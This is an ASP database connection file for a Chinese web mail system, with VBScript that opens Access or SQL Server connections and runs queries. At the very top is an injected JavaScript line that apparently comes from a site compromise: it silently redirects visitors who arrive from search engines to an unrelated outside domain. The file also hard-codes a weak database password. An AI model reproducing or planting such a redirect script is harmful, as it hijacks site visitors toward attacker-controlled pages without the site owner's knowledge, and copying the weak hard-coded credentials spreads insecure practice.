d:\wwwroot\wuchunhua\sendmail\conn.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
@language=vbscript codepage=936
%
>
002:
<%
003:
'On Error Resume Next
004:
'Response.Buffer = True
005:
Dim Conn,StartTime,PageUrl,CacheName,AccessDb,MainPath,NowSysTime
006:
StartTime = Timer() '初始化开始运行时间
007:
NowSysTime = FormatDateTime(Now()+Timeset/24,0) '服务器时间
008:
Const IsSqlDataBase = 0
009:
010:
If IsSqlDataBase = 1 Then
011:
012:
Const SqlDatabaseName = "maildata"
013:
Const SqlUsername = "dataname"
014:
Const SqlPassword = "123456"
015:
Const SqlLocalName = "localhost"
016:
017:
SqlNowString = "GetDate()"
018:
Else
019:
AccessDb = "data/sys#data.mdb"
020:
SqlNowString = "Now()"
021:
End If
022:
023:
024:
PageURL=Lcase(Request.ServerVariables("URL"))
025:
CacheName="vwenmail" '系统的的缓存等名称，多个系统请区分开
026:
027:
Sub OpenConn
028:
Dim ConnStr
029:
If IsSqlDataBase = 1 Then
030:
ConnStr = "Provider = Sqloledb; User ID = " & SqlUsername & "; Password = " & SqlPassword & "; Initial Catalog = " & SqlDatabaseName & "; Data Source = " & SqlLocalName & ";"
031:
Else
032:
ConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Server.MapPath(MainPath&AccessDb)
033:
End If
034:
on error resume next
035:
Set conn=Server.CreateObject("ADODB.Connection")
036:
Conn.Open ConnStr
037:
If Err Then
038:
Err.Clear
039:
Set Conn = Nothing
040:
Response.Write "数据库连接出错，请检查连接字串1。"
041:
Response.End
042:
End If
043:
End Sub
044:
045:
Function ConnExecute(Command)
046:
If Not IsObject(Conn) Then OpenConn
047:
If IsDeBug = 0 Then
048:
On Error Resume Next
049:
Set ConnExecute = Conn.Execute(Command)
050:
If Err Then
051:
err.Clear
052:
Set Conn = Nothing
053:
Response.Write "查询数据的时候发现错误，请检查您的查询代码是否正确。"
054:
Response.End
055:
End If
056:
Else
057:
If IsShowSQL=1 Then
058:
Response.Write command & "<br>"
059:
End If
060:
Set ConnExecute = Conn.Execute(Command)
061:
End If
062:
SqlQueryNum = SqlQueryNum+1
063:
End Function
064:
065:
Sub CloseConn
066:
If IsObject(Conn) Then
067:
Conn.close
068:
Set Conn=Nothing
069:
End if
070:
End Sub
071:
%
>
072:
073: